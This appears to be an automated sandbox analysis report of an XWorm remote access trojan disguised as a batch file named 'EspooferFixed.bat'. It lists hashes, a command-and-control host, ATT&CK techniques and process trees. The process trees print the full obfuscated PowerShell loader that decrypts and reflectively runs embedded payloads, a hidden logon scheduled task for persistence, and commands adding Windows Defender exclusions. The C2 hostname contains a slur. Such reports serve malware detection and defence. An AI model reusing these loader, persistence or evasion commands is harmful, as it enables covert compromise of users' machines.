xworm | 3af55470fb8f6549631c51af8fb360e144b3a2213328251fb5c893afefd39b2a

Analysis

max time kernel
149s
max time network
150s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250113-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
24-01-2025 15:00

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General

Target

EspooferFixed.bat
Size

265KB
MD5

b305aa4a553e75efdef58b62ab9a1363
SHA1

14b80df7c7cd154275564d8678a99e99096bcbe4
SHA256

3af55470fb8f6549631c51af8fb360e144b3a2213328251fb5c893afefd39b2a
SHA512

ba37b738e73e85d8b4d5ec186c2469d533b94692f00ad07931287fed3bf3c7c9b17ed52f6e9289eb846ebfad25009d6ff1486880d91c45b63be96f276b45ba8f
SSDEEP

6144:qo5yDFBOGJBGmR9BJTGPbL5aFPB9Wxo8W2823a8kyXQ5iDoaPz73HyXMft6E:HgFt7hR9BJSPP5yBUxosXQ5koab73Hy2

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

IDKTOBEHONESTNIGAS-56344.portmap.io:56344

Mutex

GgTsuAV3pXf6aU6z

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2212-49-0x000002407A7A0000-0x000002407A7B0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 64 IoCs

flow	pid	Process
16	2212	powershell.exe
21	2212	powershell.exe
22	2212	powershell.exe
27	2212	powershell.exe
28	2212	powershell.exe
31	2212	powershell.exe
32	2212	powershell.exe
34	2212	powershell.exe
35	2212	powershell.exe
36	2212	powershell.exe
37	2212	powershell.exe
38	2212	powershell.exe
39	2212	powershell.exe
40	2212	powershell.exe
41	2212	powershell.exe
53	2212	powershell.exe
54	2212	powershell.exe
59	2212	powershell.exe
60	2212	powershell.exe
61	2212	powershell.exe
62	2212	powershell.exe
63	2212	powershell.exe
64	2212	powershell.exe
65	2212	powershell.exe
66	2212	powershell.exe
67	2212	powershell.exe
68	2212	powershell.exe
69	2212	powershell.exe
70	2212	powershell.exe
71	2212	powershell.exe
72	2212	powershell.exe
73	2212	powershell.exe
74	2212	powershell.exe
75	2212	powershell.exe
76	2212	powershell.exe
77	2212	powershell.exe
78	2212	powershell.exe
79	2212	powershell.exe
80	2212	powershell.exe
81	2212	powershell.exe
82	2212	powershell.exe
83	2212	powershell.exe
84	2212	powershell.exe
85	2212	powershell.exe
90	2212	powershell.exe
91	2212	powershell.exe
92	2212	powershell.exe
93	2212	powershell.exe
94	2212	powershell.exe
95	2212	powershell.exe
96	2212	powershell.exe
97	2212	powershell.exe
98	2212	powershell.exe
99	2212	powershell.exe
100	2212	powershell.exe
101	2212	powershell.exe
102	2212	powershell.exe
103	2212	powershell.exe
104	2212	powershell.exe
105	2212	powershell.exe
106	2212	powershell.exe
107	2212	powershell.exe
108	2212	powershell.exe
109	2212	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2364	powershell.exe
2516	powershell.exe
4060	powershell.exe
2116	powershell.exe
2212	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2826969134-2088669430-2680400721-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2826969134-2088669430-2680400721-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4060	powershell.exe
4060	powershell.exe
2116	powershell.exe
2116	powershell.exe
2212	powershell.exe
2212	powershell.exe
2364	powershell.exe
2364	powershell.exe
2516	powershell.exe
2516	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4060	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeIncreaseQuotaPrivilege	2116	powershell.exe
Token: SeSecurityPrivilege	2116	powershell.exe
Token: SeTakeOwnershipPrivilege	2116	powershell.exe
Token: SeLoadDriverPrivilege	2116	powershell.exe
Token: SeSystemProfilePrivilege	2116	powershell.exe
Token: SeSystemtimePrivilege	2116	powershell.exe
Token: SeProfSingleProcessPrivilege	2116	powershell.exe
Token: SeIncBasePriorityPrivilege	2116	powershell.exe
Token: SeCreatePagefilePrivilege	2116	powershell.exe
Token: SeBackupPrivilege	2116	powershell.exe
Token: SeRestorePrivilege	2116	powershell.exe
Token: SeShutdownPrivilege	2116	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeSystemEnvironmentPrivilege	2116	powershell.exe
Token: SeRemoteShutdownPrivilege	2116	powershell.exe
Token: SeUndockPrivilege	2116	powershell.exe
Token: SeManageVolumePrivilege	2116	powershell.exe
Token: 33	2116	powershell.exe
Token: 34	2116	powershell.exe
Token: 35	2116	powershell.exe
Token: 36	2116	powershell.exe
Token: SeIncreaseQuotaPrivilege	2116	powershell.exe
Token: SeSecurityPrivilege	2116	powershell.exe
Token: SeTakeOwnershipPrivilege	2116	powershell.exe
Token: SeLoadDriverPrivilege	2116	powershell.exe
Token: SeSystemProfilePrivilege	2116	powershell.exe
Token: SeSystemtimePrivilege	2116	powershell.exe
Token: SeProfSingleProcessPrivilege	2116	powershell.exe
Token: SeIncBasePriorityPrivilege	2116	powershell.exe
Token: SeCreatePagefilePrivilege	2116	powershell.exe
Token: SeBackupPrivilege	2116	powershell.exe
Token: SeRestorePrivilege	2116	powershell.exe
Token: SeShutdownPrivilege	2116	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeSystemEnvironmentPrivilege	2116	powershell.exe
Token: SeRemoteShutdownPrivilege	2116	powershell.exe
Token: SeUndockPrivilege	2116	powershell.exe
Token: SeManageVolumePrivilege	2116	powershell.exe
Token: 33	2116	powershell.exe
Token: 34	2116	powershell.exe
Token: 35	2116	powershell.exe
Token: 36	2116	powershell.exe
Token: SeIncreaseQuotaPrivilege	2116	powershell.exe
Token: SeSecurityPrivilege	2116	powershell.exe
Token: SeTakeOwnershipPrivilege	2116	powershell.exe
Token: SeLoadDriverPrivilege	2116	powershell.exe
Token: SeSystemProfilePrivilege	2116	powershell.exe
Token: SeSystemtimePrivilege	2116	powershell.exe
Token: SeProfSingleProcessPrivilege	2116	powershell.exe
Token: SeIncBasePriorityPrivilege	2116	powershell.exe
Token: SeCreatePagefilePrivilege	2116	powershell.exe
Token: SeBackupPrivilege	2116	powershell.exe
Token: SeRestorePrivilege	2116	powershell.exe
Token: SeShutdownPrivilege	2116	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe
Token: SeSystemEnvironmentPrivilege	2116	powershell.exe
Token: SeRemoteShutdownPrivilege	2116	powershell.exe
Token: SeUndockPrivilege	2116	powershell.exe
Token: SeManageVolumePrivilege	2116	powershell.exe
Token: 33	2116	powershell.exe
Token: 34	2116	powershell.exe
Token: 35	2116	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 2372 wrote to memory of 4756	2372	cmd.exe	84
PID 2372 wrote to memory of 4756	2372	cmd.exe	84
PID 4756 wrote to memory of 2312	4756	net.exe	85
PID 4756 wrote to memory of 2312	4756	net.exe	85
PID 2372 wrote to memory of 4060	2372	cmd.exe	87
PID 2372 wrote to memory of 4060	2372	cmd.exe	87
PID 4060 wrote to memory of 2116	4060	powershell.exe	88
PID 4060 wrote to memory of 2116	4060	powershell.exe	88
PID 4060 wrote to memory of 3420	4060	powershell.exe	93
PID 4060 wrote to memory of 3420	4060	powershell.exe	93
PID 3420 wrote to memory of 1512	3420	WScript.exe	94
PID 3420 wrote to memory of 1512	3420	WScript.exe	94
PID 1512 wrote to memory of 3724	1512	cmd.exe	96
PID 1512 wrote to memory of 3724	1512	cmd.exe	96
PID 3724 wrote to memory of 4948	3724	net.exe	97
PID 3724 wrote to memory of 4948	3724	net.exe	97
PID 1512 wrote to memory of 2212	1512	cmd.exe	99
PID 1512 wrote to memory of 2212	1512	cmd.exe	99
PID 2212 wrote to memory of 2364	2212	powershell.exe	101
PID 2212 wrote to memory of 2364	2212	powershell.exe	101
PID 2212 wrote to memory of 2516	2212	powershell.exe	104
PID 2212 wrote to memory of 2516	2212	powershell.exe	104

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EspooferFixed.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yeKLtf1YCHmqQ7MCDNc9FlnD43khnJ48NqLcoY7YtN4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rvPEd9GdqynNNz5vbAi1Yg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tYXsr=New-Object System.IO.MemoryStream(,$param_var); $VsGOH=New-Object System.IO.MemoryStream; $PHuFH=New-Object System.IO.Compression.GZipStream($tYXsr, [IO.Compression.CompressionMode]::Decompress); $PHuFH.CopyTo($VsGOH); $PHuFH.Dispose(); $tYXsr.Dispose(); $VsGOH.Dispose(); $VsGOH.ToArray();}function execute_function($param_var,$param2_var){ $mniqI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fYbOB=$mniqI.EntryPoint; $fYbOB.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\EspooferFixed.bat';$fRtaI=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\EspooferFixed.bat').Split([Environment]::NewLine);foreach ($YdJlk in $fRtaI) { if ($YdJlk.StartsWith(':: ')) { $efvGy=$YdJlk.Substring(3); break; }}$payloads_var=[string[]]$efvGy.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_79_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_79.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2116
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_79.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3420
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_79.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1512
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3724
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:4948
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yeKLtf1YCHmqQ7MCDNc9FlnD43khnJ48NqLcoY7YtN4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('rvPEd9GdqynNNz5vbAi1Yg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tYXsr=New-Object System.IO.MemoryStream(,$param_var); $VsGOH=New-Object System.IO.MemoryStream; $PHuFH=New-Object System.IO.Compression.GZipStream($tYXsr, [IO.Compression.CompressionMode]::Decompress); $PHuFH.CopyTo($VsGOH); $PHuFH.Dispose(); $tYXsr.Dispose(); $VsGOH.Dispose(); $VsGOH.ToArray();}function execute_function($param_var,$param2_var){ $mniqI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fYbOB=$mniqI.EntryPoint; $fYbOB.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_79.bat';$fRtaI=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_79.bat').Split([Environment]::NewLine);foreach ($YdJlk in $fRtaI) { if ($YdJlk.StartsWith(':: ')) { $efvGy=$YdJlk.Substring(3); break; }}$payloads_var=[string[]]$efvGy.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:2212
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2364
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2e4e6cd714d0a6b24d21df4b15a8efef

SHA1
ea175071d140c16f803d5b372a1282e0297d18dc

SHA256
68b99a29dded5e875531cbaf532938c5b4663046cb45f0b079e36a1f6ec45644

SHA512
44b84a22db9d5c7b6e180643bab446ea7a3705f38321b96ddf6a2de663969984423656aab8c58d55428144c74f5a6c84227ac41d2559ab7fa6e35b8e03d1b25a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6a807b1c91ac66f33f88a787d64904c1

SHA1
83c554c7de04a8115c9005709e5cd01fca82c5d3

SHA256
155314c1c86d8d4e5b802f1eef603c5dd4a2f7c949f069a38af5ba4959bd8256

SHA512
29f2d9f30fc081e7fe6e9fb772c810c9be0422afdc6aff5a286f49a990ededebcf0d083798c2d9f41ad8434393c6d0f5fa6df31226d9c3511ba2a41eb4a65200

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gchfpnqq.o3b.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_79.vbs

Filesize
114B

MD5
ea7689b92bd40415e099221965437358

SHA1
7a16f0037daf94e1013249cc175f00745707c19c

SHA256
79b869ea9a520ef5ba9bb46ca7a7095bafdc8403108ad258582a14ca2fcbed93

SHA512
872b1086b540bd9684d6942cb508bfc8f26ee16028925dd1623f95b74bb861c5c96e8a5f158f7ca38e74bd74013350928e30ffb28f829a424c99b8db17c13885

Download Submit
memory/2116-17-0x00007FF86D960000-0x00007FF86E422000-memory.dmp

Filesize
10.8MB

Download
memory/2116-29-0x00007FF86D960000-0x00007FF86E422000-memory.dmp

Filesize
10.8MB

Download
memory/2212-49-0x000002407A7A0000-0x000002407A7B0000-memory.dmp

Filesize
64KB

Download
memory/2212-72-0x000002407AB40000-0x000002407AB4A000-memory.dmp

Filesize
40KB

Download
memory/4060-14-0x000002612F670000-0x000002612F678000-memory.dmp

Filesize
32KB

Download
memory/4060-15-0x0000026149BF0000-0x0000026149C24000-memory.dmp

Filesize
208KB

Download
memory/4060-0-0x00007FF86D963000-0x00007FF86D965000-memory.dmp

Filesize
8KB

Download
memory/4060-13-0x00007FF86D960000-0x00007FF86E422000-memory.dmp

Filesize
10.8MB

Download
memory/4060-12-0x00007FF86D960000-0x00007FF86E422000-memory.dmp

Filesize
10.8MB

Download
memory/4060-11-0x00007FF86D960000-0x00007FF86E422000-memory.dmp

Filesize
10.8MB

Download
memory/4060-50-0x00007FF86D960000-0x00007FF86E422000-memory.dmp

Filesize
10.8MB

Download
memory/4060-1-0x000002612F630000-0x000002612F652000-memory.dmp

Filesize
136KB

Download